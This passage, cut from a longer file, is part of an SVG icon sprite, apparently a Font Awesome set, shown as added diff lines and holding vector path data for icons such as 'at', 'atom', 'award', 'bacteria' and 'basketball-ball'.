32-32-14.327-32-32-32zM32 448c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm480-187.993c0-1.518-.012-3.025-.045-4.531C510.076 140.525 436.157 38.47 327.994 1.511c-14.633-4.998-30.549 2.809-35.55 17.442-5 14.633 2.81 30.549 17.442 35.55 85.906 29.354 144.61 110.513 146.077 201.953l.003.188c.026 1.118.033 2.236.033 3.363 0 15.464 12.536 28 28 28s28.001-12.536 28.001-28zM152.971 439.029l-80-80L39.03 392.97l80 80 33.941-33.941z"></path> + </symbol> + <symbol id="asterisk" viewBox="0 0 512 512"> + <path d="M478.21 334.093L336 256l142.21-78.093c11.795-6.477 15.961-21.384 9.232-33.037l-19.48-33.741c-6.728-11.653-21.72-15.499-33.227-8.523L296 186.718l3.475-162.204C299.763 11.061 288.937 0 275.48 0h-38.96c-13.456 0-24.283 11.061-23.994 24.514L216 186.718 77.265 102.607c-11.506-6.976-26.499-3.13-33.227 8.523l-19.48 33.741c-6.728 11.653-2.562 26.56 9.233 33.037L176 256 33.79 334.093c-11.795 6.477-15.961 21.384-9.232 33.037l19.48 33.741c6.728 11.653 21.721 15.499 33.227 8.523L216 325.282l-3.475 162.204C212.237 500.939 223.064 512 236.52 512h38.961c13.456 0 24.283-11.061 23.995-24.514L296 325.282l138.735 84.111c11.506 6.976 26.499 3.13 33.227-8.523l19.48-33.741c6.728-11.653 2.563-26.559-9.232-33.036z"></path> + </symbol> + <symbol id="at" viewBox="0 0 512 512"> + <path d="M256 8C118.941 8 8 118.919 8 256c0 137.059 110.919 248 248 248 48.154 0 95.342-14.14 135.408-40.223 12.005-7.815 14.625-24.288 5.552-35.372l-10.177-12.433c-7.671-9.371-21.179-11.667-31.373-5.129C325.92 429.757 291.314 440 256 440c-101.458 0-184-82.542-184-184S154.542 72 256 72c100.139 0 184 57.619 184 160 0 38.786-21.093 79.742-58.17 83.693-17.349-.454-16.91-12.857-13.476-30.024l23.433-121.11C394.653 149.75 383.308 136 368.225 136h-44.981a13.518 13.518 0 0 0-13.432 11.993l-.01.092c-14.697-17.901-40.448-21.775-59.971-21.775-74.58 0-137.831 62.234-137.831 151.46 0 65.303 36.785 105.87 96 105.87 26.984 0 57.369-15.637 74.991-38.333 9.522 34.104 40.613 34.103 70.71 34.103C462.609 379.41 504 307.798 504 232 504 95.653 394.023 8 256 8zm-21.68 304.43c-22.249 0-36.07-15.623-36.07-40.771 0-44.993 30.779-72.729 58.63-72.729 22.292 0 35.601 15.241 35.601 40.77 0 45.061-33.875 72.73-58.161 72.73z"></path> + </symbol> + <symbol id="atlas" viewBox="0 0 448 512"> + <path d="M318.38 208h-39.09c-1.49 27.03-6.54 51.35-14.21 70.41 27.71-13.24 48.02-39.19 53.3-70.41zm0-32c-5.29-31.22-25.59-57.17-53.3-70.41 7.68 19.06 12.72 43.38 14.21 70.41h39.09zM224 97.31c-7.69 7.45-20.77 34.42-23.43 78.69h46.87c-2.67-44.26-15.75-71.24-23.44-78.69zm-41.08 8.28c-27.71 13.24-48.02 39.19-53.3 70.41h39.09c1.49-27.03 6.53-51.35 14.21-70.41zm0 172.82c-7.68-19.06-12.72-43.38-14.21-70.41h-39.09c5.28 31.22 25.59 57.17 53.3 70.41zM247.43 208h-46.87c2.66 44.26 15.74 71.24 23.43 78.69 7.7-7.45 20.78-34.43 23.44-78.69zM448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM224 64c70.69 0 128 57.31 128 128s-57.31 128-128 128S96 262.69 96 192 153.31 64 224 64zm160 384H96c-19.2 0-32-12.8-32-32s16-32 32-32h288v64z"></path> + </symbol> + <symbol id="atom" viewBox="0 0 448 512"> + <path d="M223.99908,224a32,32,0,1,0,32.00782,32A32.06431,32.06431,0,0,0,223.99908,224Zm214.172-96c-10.877-19.5-40.50979-50.75-116.27544-41.875C300.39168,34.875,267.63386,0,223.99908,0s-76.39066,34.875-97.89653,86.125C50.3369,77.375,20.706,108.5,9.82907,128-6.54984,157.375-5.17484,201.125,34.958,256-5.17484,310.875-6.54984,354.625,9.82907,384c29.13087,52.375,101.64652,43.625,116.27348,41.875C147.60842,477.125,180.36429,512,223.99908,512s76.3926-34.875,97.89652-86.125c14.62891,1.75,87.14456,10.5,116.27544-41.875C454.55,354.625,453.175,310.875,413.04017,256,453.175,201.125,454.55,157.375,438.171,128ZM63.33886,352c-4-7.25-.125-24.75,15.00391-48.25,6.87695,6.5,14.12891,12.875,21.88087,19.125,1.625,13.75,4,27.125,6.75,40.125C82.34472,363.875,67.09081,358.625,63.33886,352Zm36.88478-162.875c-7.752,6.25-15.00392,12.625-21.88087,19.125-15.12891-23.5-19.00392-41-15.00391-48.25,3.377-6.125,16.37891-11.5,37.88478-11.5,1.75,0,3.875.375,5.75.375C104.09864,162.25,101.84864,175.625,100.22364,189.125ZM223.99908,64c9.50195,0,22.25586,13.5,33.88282,37.25-11.252,3.75-22.50391,8-33.88282,12.875-11.377-4.875-22.62892-9.125-33.88283-12.875C201.74516,77.5,214.49712,64,223.99908,64Zm0,384c-9.502,0-22.25392-13.5-33.88283-37.25,11.25391-3.75,22.50587-8,33.88283-12.875C235.378,402.75,246.62994,407,257.8819,410.75,246.25494,434.5,233.501,448,223.99908,448Zm0-112a80,80,0,1,1,80-80A80.00023,80.00023,0,0,1,223.99908,336ZM384.6593,352c-3.625,6.625-19.00392,11.875-43.63479,11,2.752-13,5.127-26.375,6.752-40.125,7.75195-6.25,15.00391-12.625,21.87891-19.125C384.7843,327.25,388.6593,344.75,384.6593,352ZM369.65538,208.25c-6.875-6.5-14.127-12.875-21.87891-19.125-1.625-13.5-3.875-26.875-6.752-40.25,1.875,0,4.002-.375,5.752-.375,21.50391,0,34.50782,5.375,37.88283,11.5C388.6593,167.25,384.7843,184.75,369.65538,208.25Z"></path> + </symbol> + <symbol id="audio-description" viewBox="0 0 512 512"> + <path d="M162.925 238.709l8.822 30.655h-25.606l9.041-30.652c1.277-4.421 2.651-9.994 3.872-15.245 1.22 5.251 2.594 10.823 3.871 15.242zm166.474-32.099h-14.523v98.781h14.523c29.776 0 46.175-17.678 46.175-49.776 0-32.239-17.49-49.005-46.175-49.005zM512 112v288c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48zM245.459 336.139l-57.097-168A12.001 12.001 0 0 0 177 160h-35.894a12.001 12.001 0 0 0-11.362 8.139l-57.097 168C70.003 343.922 75.789 352 84.009 352h29.133a12 12 0 0 0 11.535-8.693l8.574-29.906h51.367l8.793 29.977A12 12 0 0 0 204.926 352h29.172c8.22 0 14.006-8.078 11.361-15.861zm184.701-80.525c0-58.977-37.919-95.614-98.96-95.614h-57.366c-6.627 0-12 5.373-12 12v168c0 6.627 5.373 12 12 12H331.2c61.041 0 98.96-36.933 98.96-96.386z"></path> + </symbol> + <symbol id="award" viewBox="0 0 384 512"> + <path d="M97.12 362.63c-8.69-8.69-4.16-6.24-25.12-11.85-9.51-2.55-17.87-7.45-25.43-13.32L1.2 448.7c-4.39 10.77 3.81 22.47 15.43 22.03l52.69-2.01L105.56 507c8 8.44 22.04 5.81 26.43-4.96l52.05-127.62c-10.84 6.04-22.87 9.58-35.31 9.58-19.5 0-37.82-7.59-51.61-21.37zM382.8 448.7l-45.37-111.24c-7.56 5.88-15.92 10.77-25.43 13.32-21.07 5.64-16.45 3.18-25.12 11.85-13.79 13.78-32.12 21.37-51.62 21.37-12.44 0-24.47-3.55-35.31-9.58L252 502.04c4.39 10.77 18.44 13.4 26.43 4.96l36.25-38.28 52.69 2.01c11.62.44 19.82-11.27 15.43-22.03zM263 340c15.28-15.55 17.03-14.21 38.79-20.14 13.89-3.79 24.75-14.84 28.47-28.98 7.48-28.4 5.54-24.97 25.95-45.75 10.17-10.35 14.14-25.44 10.42-39.58-7.47-28.38-7.48-24.42 0-52.83 3.72-14.14-.25-29.23-10.42-39.58-20.41-20.78-18.47-17.36-25.95-45.75-3.72-14.14-14.58-25.19-28.47-28.98-27.88-7.61-24.52-5.62-44.95-26.41-10.17-10.35-25-14.4-38.89-10.61-27.87 7.6-23.98 7.61-51.9 0-13.89-3.79-28.72.25-38.89 10.61-20.41 20.78-17.05 18.8-44.94 26.41-13.89 3.79-24.75 14.84-28.47 28.98-7.47 28.39-5.54 24.97-25.95 45.75-10.17 10.35-14.15 25.44-10.42 39.58 7.47 28.36 7.48 24.4 0 52.82-3.72 14.14.25 29.23 10.42 39.59 20.41 20.78 18.47 17.35 25.95 45.75 3.72 14.14 14.58 25.19 28.47 28.98C104.6 325.96 106.27 325 121 340c13.23 13.47 33.84 15.88 49.74 5.82a39.676 39.676 0 0 1 42.53 0c15.89 10.06 36.5 7.65 49.73-5.82zM97.66 175.96c0-53.03 42.24-96.02 94.34-96.02s94.34 42.99 94.34 96.02-42.24 96.02-94.34 96.02-94.34-42.99-94.34-96.02z"></path> + </symbol> + <symbol id="baby" viewBox="0 0 384 512"> + <path d="M192 160c44.2 0 80-35.8 80-80S236.2 0 192 0s-80 35.8-80 80 35.8 80 80 80zm-53.4 248.8l25.6-32-61.5-51.2L56.8 383c-11.4 14.2-11.7 34.4-.8 49l48 64c7.9 10.5 19.9 16 32 16 8.3 0 16.8-2.6 24-8 17.7-13.2 21.2-38.3 8-56l-29.4-39.2zm142.7-83.2l-61.5 51.2 25.6 32L216 448c-13.2 17.7-9.7 42.8 8 56 7.2 5.4 15.6 8 24 8 12.2 0 24.2-5.5 32-16l48-64c10.9-14.6 10.6-34.8-.8-49l-45.9-57.4zM376.7 145c-12.7-18.1-37.6-22.4-55.7-9.8l-40.6 28.5c-52.7 37-124.2 37-176.8 0L63 135.3C44.9 122.6 20 127 7.3 145-5.4 163.1-1 188 17 200.7l40.6 28.5c17 11.9 35.4 20.9 54.4 27.9V288h160v-30.8c19-7 37.4-16 54.4-27.9l40.6-28.5c18.1-12.8 22.4-37.7 9.7-55.8z"></path> + </symbol> + <symbol id="baby-carriage" viewBox="0 0 512 512"> + <path d="M144.8 17c-11.3-17.8-37.2-22.8-54-9.4C35.3 51.9 0 118 0 192h256L144.8 17zM496 96h-48c-35.3 0-64 28.7-64 64v64H0c0 50.6 23 96.4 60.3 130.7C25.7 363.6 0 394.7 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-8.9-1.8-17.2-4.4-25.2 21.6 5.9 44.6 9.2 68.4 9.2s46.9-3.3 68.4-9.2c-2.7 8-4.4 16.3-4.4 25.2 0 44.2 35.8 80 80 80s80-35.8 80-80c0-37.3-25.7-68.4-60.3-77.3C425 320.4 448 274.6 448 224v-64h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM80 464c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm320-32c0 17.6-14.4 32-32 32s-32-14.4-32-32 14.4-32 32-32 32 14.4 32 32z"></path> + </symbol> + <symbol id="backspace" viewBox="0 0 640 512"> + <path d="M576 64H205.26A63.97 63.97 0 0 0 160 82.75L9.37 233.37c-12.5 12.5-12.5 32.76 0 45.25L160 429.25c12 12 28.28 18.75 45.25 18.75H576c35.35 0 64-28.65 64-64V128c0-35.35-28.65-64-64-64zm-84.69 254.06c6.25 6.25 6.25 16.38 0 22.63l-22.62 22.62c-6.25 6.25-16.38 6.25-22.63 0L384 301.25l-62.06 62.06c-6.25 6.25-16.38 6.25-22.63 0l-22.62-22.62c-6.25-6.25-6.25-16.38 0-22.63L338.75 256l-62.06-62.06c-6.25-6.25-6.25-16.38 0-22.63l22.62-22.62c6.25-6.25 16.38-6.25 22.63 0L384 210.75l62.06-62.06c6.25-6.25 16.38-6.25 22.63 0l22.62 22.62c6.25 6.25 6.25 16.38 0 22.63L429.25 256l62.06 62.06z"></path> + </symbol> + <symbol id="backward" viewBox="0 0 512 512"> + <path d="M11.5 280.6l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2zm256 0l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2z"></path> + </symbol> + <symbol id="bacon" viewBox="0 0 576 512"> + <path d="M218.92 336.39c34.89-34.89 44.2-59.7 54.05-86 10.61-28.29 21.59-57.54 61.37-97.34s69.05-50.77 97.35-61.38c23.88-9 46.64-17.68 76.79-45.37L470.81 8.91a31 31 0 0 0-40.18-2.83c-13.64 10.1-25.15 14.39-41 20.3C247 79.52 209.26 191.29 200.65 214.1c-29.75 78.83-89.55 94.68-98.72 98.09-24.86 9.26-54.73 20.38-91.07 50.36C-3 374-3.63 395 9.07 407.61l35.76 35.51C80 410.52 107 400.15 133 390.39c26.27-9.84 51.06-19.12 85.92-54zm348-232l-35.75-35.51c-35.19 32.63-62.18 43-88.25 52.79-26.26 9.85-51.06 19.16-85.95 54s-44.19 59.69-54 86C292.33 290 281.34 319.22 241.55 359s-69 50.73-97.3 61.32c-23.86 9-46.61 17.66-76.72 45.33l37.68 37.43a31 31 0 0 0 40.18 2.82c13.6-10.06 25.09-14.34 40.94-20.24 142.2-53 180-164.1 188.94-187.69C405 219.18 464.8 203.3 474 199.86c24.87-9.27 54.74-20.4 91.11-50.41 13.89-11.4 14.52-32.45 1.82-45.05z"></path> + </symbol> + <symbol id="bacteria" viewBox="0 0 640 512"> + <path d="M272.35,226.4A17.71,17.71,0,0,0,281.46,203l-4-9.08a121.29,121.29,0,0,1,12.36-3.08A83.34,83.34,0,0,0,323.57,177l10,9a17.76,17.76,0,1,0,23.92-26.27l-9.72-8.76a83.12,83.12,0,0,0,11.65-48.18l11.85-3.51a17.73,17.73,0,1,0-10.15-34l-11.34,3.36a84,84,0,0,0-36.38-35.57l2.84-10.85a17.8,17.8,0,0,0-34.47-8.93l-2.82,10.78a83.25,83.25,0,0,0-16.74,1.1C250.83,27,240,30.22,229.1,33.39l-3.38-9.46a17.8,17.8,0,0,0-33.56,11.89l3.49,9.8a286.74,286.74,0,0,0-43.94,23.57l-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,82l6.45,8.61a286.59,286.59,0,0,0-34.95,35.33l-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24.77l8.88,6.47a286.6,286.6,0,0,0-23,43.91l-10.48-3.59a17.73,17.73,0,1,0-11.59,33.52L32.67,232c-2.79,10-5.79,19.84-7.52,30.22a83.16,83.16,0,0,0-.82,19l-11.58,3.43a17.73,17.73,0,1,0,10.13,34l11.27-3.33a83.51,83.51,0,0,0,36.39,35.43l-2.88,11.06a17.81,17.81,0,0,0,34.48,8.92l2.87-11c1,0,2.07.26,3.1.26a83.39,83.39,0,0,0,45.65-13.88l8.59,8.8a17.77,17.77,0,0,0,25.56-24.7l-9.14-9.37a83.41,83.41,0,0,0,12.08-31.05,119.08,119.08,0,0,1,3.87-15.53l9,4.22a17.74,17.74,0,1,0,15.15-32.09l-8.8-4.11c.67-1,1.2-2.08,1.9-3.05a119.89,119.89,0,0,1,7.87-9.41,121.73,121.73,0,0,1,11.65-11.4,119.49,119.49,0,0,1,9.94-7.82c1.12-.77,2.32-1.42,3.47-2.15l3.92,8.85a17.86,17.86,0,0,0,16.32,10.58A18.14,18.14,0,0,0,272.35,226.4ZM128,256a32,32,0,1,1,32-32A32,32,0,0,1,128,256Zm80-96a16,16,0,1,1,16-16A16,16,0,0,1,208,160Zm431.26,45.3a17.79,17.79,0,0,0-17.06-12.69,17.55,17.55,0,0,0-5.08.74l-11.27,3.33a83.61,83.61,0,0,0-36.39-35.43l2.88-11.06a17.81,17.81,0,0,0-34.48-8.91l-2.87,11c-1,0-2.07-.26-3.1-.26a83.32,83.32,0,0,0-45.65,13.89l-8.59-8.81a17.77,17.77,0,0,0-25.56,24.7l9.14,9.37a83.28,83.28,0,0,0-12.08,31.06,119.34,119.34,0,0,1-3.87,15.52l-9-4.22a17.74,17.74,0,1,0-15.15,32.09l8.8,4.11c-.67,1-1.2,2.08-1.89,3.05a117.71,117.71,0,0,1-7.94,9.47,119,119,0,0,1-11.57,11.33,121.59,121.59,0,0,1-10,7.83c-1.12.77-2.32,1.42-3.47,2.15l-3.92-8.85a17.86,17.86,0,0,0-16.32-10.58,18.14,18.14,0,0,0-7.18,1.5A17.71,17.71,0,0,0,358.54,309l4,9.08a118.71,118.71,0,0,1-12.36,3.08,83.34,83.34,0,0,0-33.77,13.9l-10-9a17.77,17.77,0,1,0-23.92,26.28l9.72,8.75a83.12,83.12,0,0,0-11.65,48.18l-11.86,3.51a17.73,17.73,0,1,0,10.16,34l11.34-3.36A84,84,0,0,0,326.61,479l-2.84,10.85a17.8,17.8,0,0,0,34.47,8.93L361.06,488a83.3,83.3,0,0,0,16.74-1.1c11.37-1.89,22.24-5.07,33.1-8.24l3.38,9.46a17.8,17.8,0,0,0,33.56-11.89l-3.49-9.79a287.66,287.66,0,0,0,43.94-23.58l6.32,8.43a17.88,17.88,0,0,0,24.93,3.6A17.67,17.67,0,0,0,523.16,430l-6.45-8.61a287.37,287.37,0,0,0,34.95-35.34l8.82,6.42a17.76,17.76,0,1,0,21-28.63l-8.88-6.46a287.17,287.17,0,0,0,23-43.92l10.48,3.59a17.73,17.73,0,1,0,11.59-33.52L607.33,280c2.79-10,5.79-19.84,7.52-30.21a83.27,83.27,0,0,0,.82-19.05l11.58-3.43A17.7,17.7,0,0,0,639.26,205.3ZM416,416a32,32,0,1,1,32-32A32,32,0,0,1,416,416Z"></path> + </symbol> + <symbol id="bacterium" viewBox="0 0 512 512"> + <path d="M511,102.93A23.76,23.76,0,0,0,481.47,87l-15.12,4.48a111.85,111.85,0,0,0-48.5-47.42l3.79-14.47a23.74,23.74,0,0,0-46-11.91l-3.76,14.37a111.94,111.94,0,0,0-22.33,1.47,386.74,386.74,0,0,0-44.33,10.41l-4.3-12a23.74,23.74,0,0,0-44.75,15.85l4.3,12.05a383.4,383.4,0,0,0-58.69,31.83l-8-10.63a23.85,23.85,0,0,0-33.24-4.8,23.57,23.57,0,0,0-4.83,33.09l8,10.63a386.14,386.14,0,0,0-46.7,47.44l-11-8a23.68,23.68,0,1,0-28,38.17l11.09,8.06a383.45,383.45,0,0,0-30.92,58.75l-12.93-4.43a23.65,23.65,0,1,0-15.47,44.69l13,4.48a385.81,385.81,0,0,0-9.3,40.53A111.58,111.58,0,0,0,32.44,375L17,379.56a23.64,23.64,0,0,0,13.51,45.31l15-4.44a111.49,111.49,0,0,0,48.53,47.24l-3.85,14.75a23.66,23.66,0,0,0,17,28.83,24.7,24.7,0,0,0,6,.75,23.73,23.73,0,0,0,23-17.7L140,479.67c1.37.05,2.77.35,4.13.35A111.22,111.22,0,0,0,205,461.5l11.45,11.74a23.7,23.7,0,0,0,34.08-32.93l-12.19-12.5a111,111,0,0,0,16.11-41.4,158.69,158.69,0,0,1,5.16-20.71l12,5.64a23.66,23.66,0,1,0,20.19-42.79l-11.72-5.49c.89-1.32,1.59-2.77,2.52-4.06a157.86,157.86,0,0,1,10.46-12.49,159.5,159.5,0,0,1,15.59-15.28,162.18,162.18,0,0,1,13.23-10.4c1.5-1,3.1-1.89,4.63-2.87l5.23,11.8a23.74,23.74,0,0,0,43.48-19.08l-5.36-12.11a158.87,158.87,0,0,1,16.49-4.1,111,111,0,0,0,45-18.54l13.33,12a23.69,23.69,0,1,0,31.88-35l-12.94-11.67A110.83,110.83,0,0,0,479.21,137L495,132.32A23.61,23.61,0,0,0,511,102.93ZM160,368a48,48,0,1,1,48-48A48,48,0,0,1,160,368Zm80-136a24,24,0,1,1,24-24A24,24,0,0,1,240,232Z"></path> + </symbol> + <symbol id="bahai" viewBox="0 0 512 512"> + <path d="M496.25 202.52l-110-15.44 41.82-104.34c6.67-16.64-11.6-32.18-26.59-22.63L307.44 120 273.35 12.82C270.64 4.27 263.32 0 256 0c-7.32 0-14.64 4.27-17.35 12.82l-34.09 107.19-94.04-59.89c-14.99-9.55-33.25 5.99-26.59 22.63l41.82 104.34-110 15.43c-17.54 2.46-21.68 26.27-6.03 34.67l98.16 52.66-74.48 83.54c-10.92 12.25-1.72 30.93 13.29 30.93 1.31 0 2.67-.14 4.07-.45l108.57-23.65-4.11 112.55c-.43 11.65 8.87 19.22 18.41 19.22 5.15 0 10.39-2.21 14.2-7.18l68.18-88.9 68.18 88.9c3.81 4.97 9.04 7.18 14.2 7.18 9.54 0 18.84-7.57 18.41-19.22l-4.11-112.55 108.57 23.65c17.36 3.76 29.21-17.2 17.35-30.49l-74.48-83.54 98.16-52.66c15.64-8.39 11.5-32.2-6.04-34.66zM338.51 311.68l-51.89-11.3 1.97 53.79L256 311.68l-32.59 42.49 1.96-53.79-51.89 11.3 35.6-39.93-46.92-25.17 52.57-7.38-19.99-49.87 44.95 28.62L256 166.72l16.29 51.23 44.95-28.62-19.99 49.87 52.57 7.38-46.92 25.17 35.61 39.93z"></path> + </symbol> + <symbol id="balance-scale" viewBox="0 0 640 512"> + <path d="M256 336h-.02c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0C-2.06 328.75.02 320.33.02 336H0c0 44.18 57.31 80 128 80s128-35.82 128-80zM128 176l72 144H56l72-144zm511.98 160c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 320l72-144 72 144H440zm88 128H352V153.25c23.51-10.29 41.16-31.48 46.39-57.25H528c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H383.64C369.04 12.68 346.09 0 320 0s-49.04 12.68-63.64 32H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h129.61c5.23 25.76 22.87 46.96 46.39 57.25V448H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="balance-scale-left" viewBox="0 0 640 512"> + <path d="M528 448H352V153.25c20.42-8.94 36.1-26.22 43.38-47.47l132-44.26c8.38-2.81 12.89-11.88 10.08-20.26l-10.17-30.34C524.48 2.54 515.41-1.97 507.03.84L389.11 40.37C375.3 16.36 349.69 0 320 0c-44.18 0-80 35.82-80 80 0 3.43.59 6.71 1.01 10.03l-128.39 43.05c-8.38 2.81-12.89 11.88-10.08 20.26l10.17 30.34c2.81 8.38 11.88 12.89 20.26 10.08l142.05-47.63c4.07 2.77 8.43 5.12 12.99 7.12V496c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16v-32c-.01-8.84-7.17-16-16.01-16zm111.98-144c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 288l72-144 72 144H440zm-269.07-37.51c-17.65-35.29-68.19-35.36-85.87 0C-2.06 424.75.02 416.33.02 432H0c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-16.18 1.34-8.73-85.05-181.51zM56 416l72-144 72 144H56z"></path> + </symbol> + <symbol id="balance-scale-right" viewBox="0 0 640 512"> + <path d="M96 464v32c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16V153.25c4.56-2 8.92-4.35 12.99-7.12l142.05 47.63c8.38 2.81 17.45-1.71 20.26-10.08l10.17-30.34c2.81-8.38-1.71-17.45-10.08-20.26l-128.4-43.05c.42-3.32 1.01-6.6 1.01-10.03 0-44.18-35.82-80-80-80-29.69 0-55.3 16.36-69.11 40.37L132.96.83c-8.38-2.81-17.45 1.71-20.26 10.08l-10.17 30.34c-2.81 8.38 1.71 17.45 10.08 20.26l132 44.26c7.28 21.25 22.96 38.54 43.38 47.47V448H112c-8.84 0-16 7.16-16 16zM0 304c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0C-1.32 295.27.02 287.82.02 304H0zm56-16l72-144 72 144H56zm328.02 144H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0-86.38 172.78-85.04 165.33-85.04 181.51zM440 416l72-144 72 144H440z"></path> + </symbol> + <symbol id="ban" viewBox="0 0 512 512"> + <path d="M256 8C119.034 8 8 119.033 8 256s111.034 248 248 248 248-111.034 248-248S392.967 8 256 8zm130.108 117.892c65.448 65.448 70 165.481 20.677 235.637L150.47 105.216c70.204-49.356 170.226-44.735 235.638 20.676zM125.892 386.108c-65.448-65.448-70-165.481-20.677-235.637L361.53 406.784c-70.203 49.356-170.226 44.736-235.638-20.676z"></path> + </symbol> + <symbol id="band-aid" viewBox="0 0 640 512"> + <path d="M0 160v192c0 35.3 28.7 64 64 64h96V96H64c-35.3 0-64 28.7-64 64zm576-64h-96v320h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64zM192 416h256V96H192v320zm176-232c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24z"></path> + </symbol> + <symbol id="barcode" viewBox="0 0 512 512"> + <path d="M0 448V64h18v384H0zm26.857-.273V64H36v383.727h-9.143zm27.143 0V64h8.857v383.727H54zm44.857 0V64h8.857v383.727h-8.857zm36 0V64h17.714v383.727h-17.714zm44.857 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm35.715 0V64h18v383.727h-18zm44.857 0V64h18v383.727h-18zm35.999 0V64h18.001v383.727h-18.001zm36.001 0V64h18.001v383.727h-18.001zm26.857 0V64h18v383.727h-18zm45.143 0V64h26.857v383.727h-26.857zm35.714 0V64h9.143v383.727H476zm18 .273V64h18v384h-18z"></path> + </symbol> + <symbol id="bars" viewBox="0 0 448 512"> + <path d="M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"></path> + </symbol> + <symbol id="baseball-ball" viewBox="0 0 496 512"> + <path d="M368.5 363.9l28.8-13.9c11.1 22.9 26 43.2 44.1 60.9 34-42.5 54.5-96.3 54.5-154.9 0-58.5-20.4-112.2-54.2-154.6-17.8 17.3-32.6 37.1-43.6 59.5l-28.7-14.1c12.8-26 30-49 50.8-69C375.6 34.7 315 8 248 8 181.1 8 120.5 34.6 75.9 77.7c20.7 19.9 37.9 42.9 50.7 68.8l-28.7 14.1c-11-22.3-25.7-42.1-43.5-59.4C20.4 143.7 0 197.4 0 256c0 58.6 20.4 112.3 54.4 154.7 18.2-17.7 33.2-38 44.3-61l28.8 13.9c-12.9 26.7-30.3 50.3-51.5 70.7 44.5 43.1 105.1 69.7 172 69.7 66.8 0 127.3-26.5 171.9-69.5-21.1-20.4-38.5-43.9-51.4-70.6zm-228.3-32l-30.5-9.8c14.9-46.4 12.7-93.8-.6-134l30.4-10c15 45.6 18 99.9.7 153.8zm216.3-153.4l30.4 10c-13.2 40.1-15.5 87.5-.6 134l-30.5 9.8c-17.3-54-14.3-108.3.7-153.8z"></path> + </symbol> + <symbol id="basketball-ball" viewBox="0 0 496 512"> + <path d="M212.3 10.3c-43.8 6.3-86.2 24.1-122.2 53.8l77.4 77.4c27.8-35.8 43.3-81.2 44.8-131.2zM248 222L405.9 64.1c-42.4-35-93.6-53.5-145.5-56.1-1.2 63.9-21.5 122.3-58.7 167.7L248 222zM56.1 98.1c-29.7 36-47.5 78.4-53.8 122.2 50-1.5 95.5-17 131.2-44.8L56.1 98.1zm272.2 204.2c45.3-37.1 103.7-57.4 167.7-58.7-2.6-51.9-21.1-103.1-56.1-145.5L282 256l46.3 46.3zM248 290L90.1 447.9c42.4 34.9 93.6 53.5 145.5 56.1 1.3-64 21.6-122.4 58.7-167.7L248 290zm191.9 123.9c29.7-36 47.5-78.4 53.8-122.2-50.1 1.6-95.5 17.1-131.2 44.8l77.4 77.4zM167.7 209.7C122.3 246.9 63.9 267.3 0 268.4c2.6 51.9 21.1 103.1 56.1 145.5L214 256l-46.3-46.3zm116 292c43.8-6.3 86.2-24.1 122.2-53.8l-77.4-77.4c-27.7 35.7-43.2 81.2-44.8 131.2z"></path> + </symbol> + <symbol id="bath" viewBox="0 0 512 512"> + <path 